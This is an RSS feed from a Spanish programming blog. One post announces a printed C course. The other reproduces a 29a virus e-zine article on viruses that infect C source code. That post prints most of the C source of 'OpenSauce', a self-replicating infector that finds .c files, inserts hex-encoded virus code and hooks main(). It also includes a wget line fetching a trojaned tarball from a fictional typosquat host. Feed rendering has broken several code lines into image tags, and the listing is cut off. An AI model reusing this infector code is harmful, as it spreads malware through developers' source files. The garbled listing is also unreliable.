<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>txipi:blog &#187; programación</title>
	<atom:link href="http://blog.txipinet.com/tag/programacion/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.txipinet.com</link>
	<description>El blog de txipi</description>
	<lastBuildDate>Thu, 31 Dec 2009 00:08:22 +0000</lastBuildDate>
	<generator>http://wordpress.com/</generator>
	<language>es</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<cloud domain='blog.txipinet.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://www.gravatar.com/blavatar/d88e8786cd2893a2fc8d9655a6bb4259?s=96&#038;d=http://s2.wp.com/i/buttonw-com.png</url>
		<title>txipi:blog &#187; programación</title>
		<link>http://blog.txipinet.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://blog.txipinet.com/osd.xml" title="txipi:blog" />
	<atom:link rel='hub' href='http://blog.txipinet.com/?pushpress=hub'/>
		<item>
		<title>Curso de programación en C para GNU/Linux (final II)</title>
		<link>http://blog.txipinet.com/2008/06/08/curso-de-programacion-en-c-para-gnulinux-final-ii/</link>
		<comments>http://blog.txipinet.com/2008/06/08/curso-de-programacion-en-c-para-gnulinux-final-ii/#comments</comments>
		<pubDate>Sun, 08 Jun 2008 11:19:21 +0000</pubDate>
		<dc:creator>txipi</dc:creator>
				<category><![CDATA[Informática]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Software Libre]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[curso]]></category>
		<category><![CDATA[gcc]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[libro]]></category>
		<category><![CDATA[Lulu]]></category>
		<category><![CDATA[papel]]></category>
		<category><![CDATA[programación]]></category>

		<guid isPermaLink="false">http://txipi.wordpress.com/?p=376</guid>
		<description><![CDATA[Hace bastante tiempo escribí un curso de programación en C para GNU/Linux, unos años después lo publiqué en este blog, y finalmente colgué un PDF con el curso maquetado.
A la gente le gustó bastante y todavía recibo algunas dudas, correcciones o comentarios sobre el curso, lo que me hace bastante ilusión porque significa que se [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=376&subd=txipi&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>Hace bastante tiempo escribí un curso de programación en C para GNU/Linux, unos años después <a href="http://blog.txipinet.com/2006/10/26/42-curso-de-programacion-en-c-para-gnu-linux-i/">lo publiqué en este blog</a>, y finalmente <a href="http://blog.txipinet.com/2006/11/11/50-curso-de-programacion-en-c-para-gnu-linux-final/">colgué un PDF con el curso maquetado</a>.</p>
<p>A la gente le gustó bastante y todavía recibo algunas dudas, correcciones o comentarios sobre el curso, lo que me hace bastante ilusión porque significa que se sigue utilizando <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>A raíz de los premios startup2.0, recordé la existencia de <a href="http://www.bubok.com/">bubok</a>, una web en la que subes tu PDF, diseñas una portada y permites que la gente pida copias impresas de tus escritos. Muy buena idea si quieres difundir tus trabajos evitando gastarte mucho dinero al principio. Intenté subir mi documento desde el portátil del trabajo (Debian + Iceweasel) y no me funcionó muy bien la web, así que miré un poco por Internet y vi que <a href="http://www.lulu.com/es">Lulu</a> hacía prácticamente lo mismo. Enredé un poco con la web y finalmente subí el curso.</p>
<p>Lo podéis descargar y comprar desde mi tienda en Lulu: <a href="http://stores.lulu.com/garaizar">http://stores.lulu.com/garaizar</a>. El material es copyleft, la descarga gratuita y si queréis tener las 81 páginas en papel, tendréis que pagar 6 euros, precio amigo ;-D (de esos 6 euros creo que me llevo 0.30 o algo así, intenté poner lo mínimo).</p>
<p>Si alguien se lo compra, que mande una foto de cómo queda, ¿vale? <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p><strong>Actualización: </strong>A sugerencia de <a href="http://angelmaria.com/">Angel María</a>, he vuelto a probar en <a href="http://www.bubok.com/">Bubok</a> y de maravilla (ahora con Ubuntu 8.04 y Firefox 3beta5). Aquí tenéis el resultado: <a href="http://www.bubok.com/libros/1561/gnulinux-programacion-de-sistemas">http://www.bubok.com/libros/1561/gnulinux-programacion-de-sistemas</a>.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/txipi.wordpress.com/376/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/txipi.wordpress.com/376/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/txipi.wordpress.com/376/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/txipi.wordpress.com/376/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/txipi.wordpress.com/376/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/txipi.wordpress.com/376/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/txipi.wordpress.com/376/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/txipi.wordpress.com/376/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/txipi.wordpress.com/376/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/txipi.wordpress.com/376/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/txipi.wordpress.com/376/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/txipi.wordpress.com/376/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=376&subd=txipi&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://blog.txipinet.com/2008/06/08/curso-de-programacion-en-c-para-gnulinux-final-ii/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b31cc813fcd79e9a170a88884fadb89d?s=96&#38;d=identicon&#38;r=X" medium="image">
			<media:title type="html">txipi</media:title>
		</media:content>
	</item>
		<item>
		<title>Metaprogramación (IV): Programación de virus para código fuente C</title>
		<link>http://blog.txipinet.com/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c/</link>
		<comments>http://blog.txipinet.com/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c/#comments</comments>
		<pubDate>Thu, 11 Jan 2007 19:19:57 +0000</pubDate>
		<dc:creator>txipi</dc:creator>
				<category><![CDATA[Informática]]></category>
		<category><![CDATA[29a]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[Metaprogramación]]></category>
		<category><![CDATA[programación]]></category>
		<category><![CDATA[quine]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://txipi.wordpress.com/2007/01/11/metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c/</guid>
		<description><![CDATA[Continuando (y muy probablemente terminando ya) con el tema de la metaprogramación, abordaremos todas las ideas introducidas hasta ahora en un artículo publicado en el e-zine sobre virus informáticos 29a (0&#215;29a en hexadecimal es 666 en decimal  ). En él, se nos muestra cómo un programa en C podría ser capaz de infectar a [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=64&subd=txipi&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>Continuando (y muy probablemente terminando ya) con el tema de la metaprogramación, abordaremos todas las ideas introducidas hasta ahora en un artículo publicado en el e-zine sobre virus informáticos 29a (0&#215;29a en hexadecimal es 666 en decimal <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> ). En él, se nos muestra cómo un programa en C podría ser capaz de infectar a otros programas en C no compilados todavía, incluyendo funciones de infección, es decir, convirtiéndolos así mismo en vectores de infección. El artículo tiene ya su tiempo, pero creo que es un buen broche final a esta serie de comentarios e impresiones sobre la programación de programas que programan ;-D</p>
<p><span id="more-64"></span></p>
<p class="post-content">&nbsp;</p>
<h3>Resumen</h3>
<p>En este artículo comentaremos las posibilidades de infección mediante ataques a ficheros de código fuente, los antecedentes que ha habido en la materia y los desarrollos futuros que puedan darse.</p>
<p>El texto será acompañado de ejemplos en C a modo de &#8220;pruebas de concepto&#8221; de los detalles explicados. Así mismo, se presentarán técnicas de desarrollo de virus para código fuente mediante otras vías, desde un punto de vista menos práctico e indicando los pasos generales para su programación.</p>
<h3>Introducción</h3>
<p>Tal y como dice la letra de la célebre canción del Software Libre <a href="http://blog.txipinet.com/index.php/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c#1">[1]</a>, actualmente mucha gente se esta sumando al movimiento del Software Libre o a variantes con fines más comerciales como el Open Source. El título de este artículo quiere hacer un guiño al estribillo de esa canción (&#8220;Join us now and share the software, you&#8217;ll be free, hackers, you&#8217;ll be free&#8230;&#8221;), indicando la posibilidad de que esa capacidad de distribución que ha tomado el código fuente en este tipo de entornos pueda ser utilizada para redistribuir código vírico.</p>
<p>Muchos de nosotros estamos empezando a desarrollar una fe casi ciega en los desarrolladores de programas con código abierto, ya que si el código es visible, será mucho más difícil que nos engañen o que hayan introducido efectos no deseados en esos programas. Si nos ponemos a pensar, cuando asistimos a un espectáculo de magia, muchos de los trucos necesitan de una cortina, mampara o algún elemento para ocultar cómo se nos está engañando, pero hay otros trucos que nos los hacen directamente a la cara, sin utilizar nada más que las manos, y aún así, caemos y nos los creemos. Algo parecido podría pasar con los programas de código abierto: el código está ahí y &#8220;cualquiera&#8221; lo puede ver y auditar, sin embargo, muy pocos lo hacen (¿quién ha auditado *todo* el código fuente que está corriendo en sus máquinas?) y, además, sería eventualmente posible ofuscar el código para que su comprensión se dificulte enormemente y poder introducir elementos ocultos y no deseados por el usuario en ese código.</p>
<p>Los virus de código fuente nunca han sido una amenaza real, básicamente porque, hasta hace bien poco, intercambiar programas distribuyendo el código fuente era algo muy inusual fuera de un ambiente demasiado geek. Los virus han tenido su hábitat natural dentro de los programas ejecutables, típicamente binarios, que se han distribuido de mano en mano durante todos estos años. A pesar de que las redes P2P han vuelto a relanzar el intercambio masivo de binarios, parece ser que este enfoque está yendo progresivamente a menos y que lo que se estila ahora mismo es pensar en una aproximación del tipo virus + gusano, que sea capaz de utilizar diferentes workstations o servidores como vectores de infección.</p>
<p>Intercambiar programas mediante el código fuente ya no es algo de freaks de la informática. En el mundillo del Software Libre y del Open Source es la manera más común de distribuir el código. Normalmente el código es auditado, por lo menos por el autor del mismo, aunque existen muchos mitos al respecto <a href="http://blog.txipinet.com/index.php/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c#2">[2]</a>. Sin embargo, se han dado ya varios casos en los que el servidor FTP oficial que distribuye el código fuente de un programa <a href="http://blog.txipinet.com/index.php/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c#3">[3]</a> <a href="http://blog.txipinet.com/index.php/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c#4">[4]</a>, y en dichas ocasiones el  código introducido fue muy obvio, pero podría haberse intentado un ataque más sutil.</p>
<p>No sé si en el futuro las redes P2P estarán plagadas de tarballs con el código fuente de un montón de programas, o si auditar el código fuente será una tarea automatizable (dónde surgiría un nuevo campo de batalla entre auditores y escritores de malware), pero lo que es un hecho constatable a día de hoy es que el intercambio de código fuente está en aumento, y, por ello, conviene analizar la plausibilidad de su utilización como vector de infección.</p>
<h3>Antecedentes</h3>
<p>Hasta la fecha han sido pocos y tímidos los infectores desarrollados con el objetivo de infectar código fuente. Las razones las acabamos de comentar: el código fuente no ha sido un buen vector de infección hasta la irrupción de la &#8220;revolución del código abierto&#8221; en el panorama del software actual.</p>
<h4>virus de DOS, Urphin</h4>
<p>En la lejana época de los virus  de DOS, el virus Urphin <a href="http://blog.txipinet.com/index.php/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c#5">[5]</a> ya pensó en infectar código fuente como método de expansión. Su comportamiento no era nada extraño: una vez ejecutado permanecía residente (31h de int 21h) a la espera de que se ejecutase el programa TPC.EXE (Turbo Pascal Compiler) y era entonces cuando interceptaba los ficheros .PAS que contienen el código fuente de los programas en Pascal.</p>
<p>Una vez localizado el fichero .PAS, buscaba la palabra BEGIN, que indica el comienzo de un bloque de código en Pascal, y añadía un volcado hexadecimal de su código junto con el código en Pascal para ser ejecutado. Cuando el fichero .PAS se cerraba, el virus eliminaba el código recién introducido, con lo que se conseguían ejecutables infectados y ficheros .PAS limpios después de haber generado el ejecutable.</p>
<h4>1994, la familia de virus SrcVir y el virus Die-Hard</h4>
<p>En muchas  páginas en  las que  se comenta  la historia  de los  virus informáticos  <a href="http://blog.txipinet.com/index.php/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c#6">[6]</a> se hace mención a la familia de virus SrcVir, aparecida en 1994 junto a una oleada de nuevos virus con objetivos y comportamientos extraños hasta la fecha. El objetivo de esta familia de virus era principalmente infectar ficheros de código fuente en C o Pascal, de forma similar al comentado Urphin.</p>
<p>En ese mismo año, fue programado y soltado in-the-wild otro virus  que infectaba  código  fuente, el  Die-Hard  <a href="http://blog.txipinet.com/index.php/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c#7">[7]</a>. Este virus es bastante estándar (infector COM y EXE para DOS) a excepción de una característica: busca ficheros .ASM y .PAS, código fuente de ensamblador y Pascal respectivamente, para añadir un volcado con su código.</p>
<h4>Infectores de bibliotecas de compilación</h4>
<p>Existen virus que tienen como objetivo infectar los ficheros OBJ y LIB <a href="http://blog.txipinet.com/index.php/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c#8">[8]</a> para añadir su código a módulos o librerías que luego serán utilizadas para ser enlazadas con ejecutables. Los ficheros infectados de esta manera funcionarían únicamente como &#8220;portadores&#8221;, a la espera de que un ejecutable se enlace contra esos módulos o librerías y pueda seguir extendiendo el virus. De esta manera, los ejecutables no infectarían código ejecutable como tal, por lo que no hay peligro de autoinfección y no se debería contemplar en el código del virus, y los ficheros infectados son inútiles hasta que su código se incluye en un ejecutable, permaneciendo en un estado &#8220;latente&#8221; hasta entonces.</p>
<h4>Cualquier código vírico en lenguajes de scripting</h4>
<p>Como es obvio, cualquier virus que esté escrito en un lenguaje de scripting y tenga como objetivo infectar otros scripts, será un infector que copie su código fuente en el fichero &#8220;huésped&#8221;. Existen varias aproximaciones a este tipo de virus en Perl o Shell Script <a href="http://blog.txipinet.com/index.php/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c#9">[9]</a> <a href="http://blog.txipinet.com/index.php/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c#10">[10]</a>, e incontables gusanos de Internet escritos en  VisualBasicScript y otro tipo de lenguajes de scripting.</p>
<h3>¿Por qué infectar código fuente?</h3>
<p>Tal y como hemos comentado con anterioridad, es posible que este sea un campo en expansión y varios factores así lo demuestran: * El aumento del interés en Sistemas Operativos como GNU/Linux y *BSD genera una comunidad de usuarios cuyo principal valor es el código fuente y es utilizado como moneda de cambio. Algunos de estos nuevos usuarios se alejan de la antigua idea de hacker de UNIX y son menos técnicos (utilizando el ordenador como un electrodoméstico).</p>
<ul>
<li>El aumento del interés de los gobiernos y entidades públicas en utilizar software de código abierto, para aumentar su seguridad. El software de fuente abierta no es inherentemente más seguro que el de código cerrado si no se toman las medidas oportunas. Hay muchos mitos al respecto <a href="http://blog.txipinet.com/index.php/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c#2">[2]</a>, además de intentos por parte de Microsoft de  engañar a los consumidores con medias verdades <a href="http://blog.txipinet.com/index.php/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c#13">[13]</a>.</li>
<li>Algunos programas exigen ser compilados en cada ordenador por separado, ya sea porque es código libre que enlaza contra librerías o codecs propietarios, como porque exista una diferencia abismal entre la versión genérica para i386, y la compilada en el ordenador en cuestión. Este hecho exige que haya un entorno de desarrollo en más ordenadores. El ejemplo paradigmático de este caso es el Mplayer, multimedia player.</li>
</ul>
<h3>OK, pero&#8230; ¿cómo?</h3>
<h4>Escenario típico</h4>
<p>Bob es un joven administrador de redes y sistemas apasionado por las redes wireless. Sus conocimientos sobre redes telemáticas son avanzados, pero no tiene ni idea de programar más allá de unos pocos scripts de shell sencillos. Una agradable noche de wardriving, mientras él y su compañero Dave escuchan Massive Attack y corretean por entre los routers de una compañía local, Bob queda asombrado del fantástico programa que tiene Dave para escanear redes inalámbricas. Ansioso, le pide la URL para descargárselo sin más dilación:</p>
<pre>wget http://packetstormsecurify.nl/sniffers/wireless/wlanthrax-0.6.9.tar.gz
tar xzf wlanthrax-0.6.9.tar.gz
cd wlanthrax-0.6.9
./configure
make
make install</pre>
<p>(nota: http://packetstormsecurify.nl no existe pero se podría comprar a un módico precio. Cualquier parecido con la coincidencia, es pura realidad)</p>
<p>Yeah! El programa funcionando y las redes rindiéndose a sus pies, ¡qué adrenalina! ¡como en los viejos tiempos! Lo que no sabe el pobre Bob es que ese tarball contenía malware y ahora lo tiene corriendo por las venas digitales de su portátil.</p>
<p>A Bob ya le había pasado esto antes, y desde entonces nunca hace esto como root. Obviamente el &#8220;make install&#8221; no funcionaría como un usuario normal, pero la herramienta seguiría siendo ejecutable y válida. Chico listo, pero aún desde un usuario normal podríamos intentar infectar todo el código fuente al que pudiésemos acceder con esos privilegios, que no tiene por qué ser poco.</p>
<p>¿Os parece inverosímil esta situación? ¿Cuántas veces hemos hecho tar xzf &amp;&amp; ./configure &amp;&amp; make &amp;&amp; make install ciegamente? Yo reconozco que unas cuantas veces O;-D</p>
<h4>Aproximación mediante ensamblador embebido</h4>
<p>Todo programador de virus conoce herramientas de ingeniería inversa que proporcionan desensamblados de mucha calidad. Así rápidamente me vienen a la memoria el IDA disassembler o incluso el propio modo de desensamblado del HIEW. El port para UNIX del HIEW, el BIEW (que en realidad es el &#8220;hermano pequeño&#8221; de aquel) también soporta el desensamblado y podemos ver de forma cómoda el código fuente en ensamblador de casi cualquier programa.</p>
<p>Un enfoque de ASM inline para infectar ficheros fuente debería implementar un pequeño desensamblador del propio código, para poder incluirlo en el código fuente. Si tomamos como referencia el codigo fuente en C utilizado en GNU/Linux, deberíamos generar un desensamblador para nuestro código con la sintaxis AT&amp;T e incluir en una función ese código:</p>
<pre>int virus()
{
   __asm__(
  	"pusha\n\t"
	"call 0x8048086\n\t"
	[...]
	"mov $0x1,%%eax\n\t"
	"int $0x80"
  );
}</pre>
<p>Para obtener ese desensamblado podemos hacer uso de la filosofía del Software Libre y conseguir el código que lo realiza en el BIEW o en el objdump. El fallo de esta manera de hacerlo reside en que el desensamblador ocuparía una porción muy considerable del código de nuestro virus, por lo que podría intentarse el uso de las herramientas comentadas directamente. Si nuestro objetivo es infectar código fuente, podemos hacer la presunción de que el ordenador infectado es un ordenador de desarrollo que puede tener instaladas ciertas herramientas. Mediante la syscall execve en UNIX podríamos ejecutar una de esas herramientas y generar el listado en un proceso hijo. Una versión optimizada de todo esto podría comprobar si existen algunas de las herramientas más comunes que puedan realizar este trabajo.</p>
<p>Pros:</p>
<ul>
<li>No hay  que comerse demasiado  la cabeza, está  casi todo hecho  ya, sólo hay que juntar las piezas <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </li>
<li>Seguimos programando en ensamblador, controlando cada detalle.</li>
</ul>
<p>Contras:</p>
<ul>
<li>No es precisamente &#8220;discreto&#8221;.</li>
<li>Al ser ensamblador, perdemos el carácter multiplataforma inherente a la mayoría del código fuente.</li>
<li>El  proceso  de  desensamblado  puede  ser  demasiado  engorroso en ocasiones.</li>
</ul>
<h4>Aproximación mediante &#8220;quines&#8221;</h4>
<p>Un &#8220;quine&#8221; es un programa que genera su propio código fuente *sin* leerse a sí mismo. Se han hecho concursos internacionales de programación de estos curiosos programitas, todos ellos en un ambiente ultra-freak, claro está.</p>
<p>Existen varias maneras de hacer quines, alguna muy enrevesadas y otras muy elegantes, pero la forma más funcional a mi modo de ver es utilizando arrays de caracteres. De hecho, me quedé muy sorprendido después de hacer mi primer quine, porque cuando vi el resto había muchos muy diferentes, pero el que hizo Ken Thompson era prácticamente igual, aunque un poco menos enrevesado: la idea principal es tener el código fuente en un array de chars para poder hacer lo siguiente:</p>
<pre>printf("char array[] = \"%s\";" array);</pre>
<p>Con lo que rompemos el círculo vicioso que proponen los quines cuando quieres sacar por pantalla tu propio código (si haces printf(&#8220;printf(\&#8221;printf(\&#8221;&#8230; no parece ser un buen enfoque ;-D).</p>
<p>Un tiempo más tarde descubrí una auténtica joya de la informática <a href="http://blog.txipinet.com/index.php/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c#11">[11]</a> cuando ví el problema que planteaba Thompson en su ponencia &#8220;Reflections on Trusting Trust&#8221; al ganar el ACM Award. Es impresionante entender las implicaciones de ese texto, y sorprende ver a un auténtico gurú como Ken Thompson hablando como un escritor de malware };-) Actualmente el tema que se plantea no tiene una solución muy clara y parece ser un quebradero de cabeza sin soluciones sencillas <a href="http://blog.txipinet.com/index.php/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c#12">[12]</a>.</p>
<p>Bien, centrándonos en el tema vemos cómo es necesario un array de chars que contenga el código del programa. Es aquí donde pueden surgir las mayores diferencias. Thompson creó su array separando uno a uno los chars de la siguiente forma:</p>
<pre>char s[] = {
        '\t',
        '0',
        '\n',
        '}',
        ';',
        '\n',
        '\n',
        'm',
        'a',
        'i',
        'n',
        '(',
        ')',
        '\n',

        ...

        0 };</pre>
<p>En mi enfoque inicial vi que esto a parte de ser extraño resultaba demasiado obvio, es decir, se ve claramente como el contenido de ese array es código fuente en C. Por ello utilicé otra notación para guardar cada uno de los chars:</p>
<pre>char s[] = {
0x6D, 0x61, 0x69, 0x6E, 0x28, 0x29, 0x20, 0x7B,
0x0D, 0x0A, 0x69, 0x6E, 0x74, 0x20, 0x69, 0x3B,
0x0D, 0x0A, 0x09, 0x70, 0x72, 0x69, 0x6E, 0x74,
0x66, 0x28, 0x22, 0x63, 0x68, 0x61, 0x72, 0x20,

...

0 };</pre>
<p>El primer objetivo estaba cumplido, eso no parece código fuente C a ojos de alguien poco familiarizado con la tabla ASCII. Sin embargo esta manera de definir el array aumentaba mucho el tamaño del mismo con respecto a un array en el que todos los chars estuviesen seguidos (no como en el primer ejemplo), por lo que había que pensar una manera de reducirlo. Lo primero que se me ocurrió para ello fue pensar en duplicar el espacio en el ejecutable, pero reducir a la mitad el espacio en el código fuente, creando un array así:</p>
<pre>char s[] = "6D61696E2829207B0D0A69...";</pre>
<p>De esta manera estoy utilizando mucho menos espacio en el fuente C. La contrapartida es que ahora utilizo 2 bytes para representar cada char dentro de mi array (¡qué desastre!). Para poder sacar por pantalla o escribir mi array ya no me vale con printf(), sino que tengo que hacer algo parecido a esto:</p>
<pre>int i;
char nibblechar, nibble[2];

for(i=0;i&lt;strlen(s);i+=2) {
	nibble[0] = s[i];
	nibble[1] = s[i+1];
 	sscanf(nibble,"%02X",&amp;nibblechar);
        printf("%c", nibblechar);
}</pre>
<p>Bastante chapucero, pero funciona O:-)</p>
<p>Otra cosa que tenemos que tener en cuenta es que nuestro objetivo ya no es sacar por pantalla nuestro propio código, sino insertarlo dentro de un programa en C y que el programa pueda ser compilado correctamente. Por ello, en el siguiente ejemplo he dividido el array inicial en otros tres arrays: uno para los includes y la declaración de la función virus(), otro para la primera parte de dicha función y el otro para el final de la función virus(). Veamos todo esto:</p>
<pre>&lt;---------------------&gt;
&lt;----opensauce.c------&gt;
&lt;---------------------&gt;

/*
 * OpenSauce
 *
 * A trial to infect source code
 *                   zert &lt;zert@int80h.net&gt;
 *
 */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;unistd.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;time.h&gt;
#include &lt;dirent.h&gt;
#include &lt;elf.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/wait.h&gt;

void virus();

int main(int argc, char *argv[]) {
  virus();
}

void virus() {
  int i, hd, fd, readbyte, writebyte, posmain, posbuffer;
  DIR *dd;
  struct dirent *dirp;
  char nibble[2], nibblechar, *readbuffer, *writebuffer,
       *readmain, *writemain, *bufname, *buffer;
  char charinclude[] = "23696e636c756465203c737464696f2e683e0a23696e636c756465203c7374646c69622e683e0a23696e636c756465203c7379732f737461742e683e0a23696e636c756465203c756e697374642e683e0a23696e636c756465203c66636e746c2e683e0a23696e636c756465203c74696d652e683e0a23696e636c756465203c646972656e742e683e0a23696e636c756465203c656c662e683e0a23696e636c756465203c7379732f74797065732e683e0a23696e636c756465203c7379732f776169742e683e0a0a766f696420766972757328293b0a0a";
  char charvirus[] = "0a766f69642076697275732829207b0a2020696e7420692c2068642c2066642c2072656164627974652c207772697465627974652c20706f736d61696e2c20706f736275666665723b0a2020444952202a64643b0a202073747275637420646972656e74202a646972703b0a202063686172206e6962626c655b325d2c206e6962626c65636861722c202a726561646275666665722c202a77726974656275666665722c200a202020202020202a726561646d61696e2c202a77726974656d61696e2c202a6275666e616d652c202a6275666665723b0a";
  char charvirusend[] = "0a20206464203d206f70656e64697228222e22293b0a20207768696c65282864697270203d207265616464697228646429293e3029200a202020206966282868643d6f70656e28646972702d3e645f6e616d652c204f5f524457522c203029293e3d3029207b0a ... ";

  /* scan for hosts in current dir */
  dd = opendir(".");
  while<img src="http://blog.txipinet.com/index.php/2007/01/11/dirp%20=%20readdir%28dd" />&gt;0)
      if<img src="http://blog.txipinet.com/index.php/2007/01/11/fd=open%28dirp-%3Ed_name,%20O_RDWR,%200" />&gt;=0) {
        /* is a C source file? */
        if(!(strcmp(dirp-&gt;d_name+strlen(dirp-&gt;d_name)-2,".c"))||
           !(strcmp(dirp-&gt;d_name+strlen(dirp-&gt;d_name)-2,".C"))) {
          /* searching infection mark... */
          lseek(fd, -30, SEEK_END);
          bufname = (char *)malloc(30);
          readbyte = read(fd, bufname,30);
          if<img src="http://blog.txipinet.com/index.php/2007/01/11/strstr%28bufname,%20%22/*%20sauce%21%20*/%22%29%3C=0" /> {
            /* infection mark not found */
            /* searching main() function... */
            lseek(fd, 0, SEEK_SET);
            posmain = posbuffer = 0;
            buffer = (char *)malloc(1024);
            while<img src="http://blog.txipinet.com/index.php/2007/01/11/readbyte=read%28fd,buffer,1024" />&gt;0) {
              if( <img src="http://blog.txipinet.com/index.php/2007/01/11/posbuffer=%28int%29strstr%28buffer,%22%5Cnmain%28%22" />&gt;0) ||
                <img src="http://blog.txipinet.com/index.php/2007/01/11/posbuffer=%28int%29strstr%28buffer,%22%5Cnint%20main%28%22" />&gt;0) ||
                <img src="http://blog.txipinet.com/index.php/2007/01/11/posbuffer=%28int%29strstr%28buffer,%22%5Cnvoid%20main%28%22" />&gt;0) ||
                <img src="http://blog.txipinet.com/index.php/2007/01/11/posbuffer=%28int%29strstr%28buffer,%22%5Cnmain%20%28%22" />&gt;0) ||
                <img src="http://blog.txipinet.com/index.php/2007/01/11/posbuffer=%28int%29strstr%28buffer,%22%5Cnint%20main%20%28%22" />&gt;0) ||
                <img src="http://blog.txipinet.com/index.php/2007/01/11/posbuffer=%28int%29strstr%28buffer,%22%5Cnvoid%20main%20%28%22" />&gt;0) ) {
                break;
              }
              posmain += readbyte;
            }
            if(posbuffer&gt;0) {
              posmain += ((int)posbuffer-(int)buffer);
              lseek(fd, posmain, SEEK_SET);
              read(fd, buffer, 80);
              if<img src="http://blog.txipinet.com/index.php/2007/01/11/posbuffer%20=%20%28int%29strstr%28buffer,%22%7B%5Cn%22" />&gt;0)
                posmain += 2 + ((int)posbuffer-(int)buffer);
              else
                posmain = -1;
            } else posmain = -1;
            if(posmain&gt;0) {
              /* let's infect! */
              lseek(fd, 0, SEEK_SET);
              writebyte = strlen(charinclude) / 2;
              readbuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              for(i=0;i&lt;strlen(charinclude);i+=2) {
                nibble[0] = charinclude[i];
                nibble[1] = charinclude[i+1];
                sscanf(nibble, "%02X", &amp;nibblechar);
                strncat(writebuffer, &amp;nibblechar, 1);
              }
              while<img src="http://blog.txipinet.com/index.php/2007/01/11/readbyte=read%28fd,readbuffer,writebyte" />&gt;0) {
                lseek(fd, -readbyte, SEEK_CUR);
                write(fd, writebuffer, writebyte);
                writebyte = read(fd, writebuffer, writebyte);
                lseek(fd, -writebyte, SEEK_CUR);
                write(fd, readbuffer, readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writebuffer,writebyte);
              /* call virus from main() */
              writebyte = strlen(charinclude) / 2;
              lseek(fd, posmain+writebyte, SEEK_SET);
              writebyte = strlen("\n  virus();\n");
              readmain = (char *)malloc(writebyte);
              writemain = (char *)malloc(writebyte);
              strcpy(writemain,"\n  virus();\n");
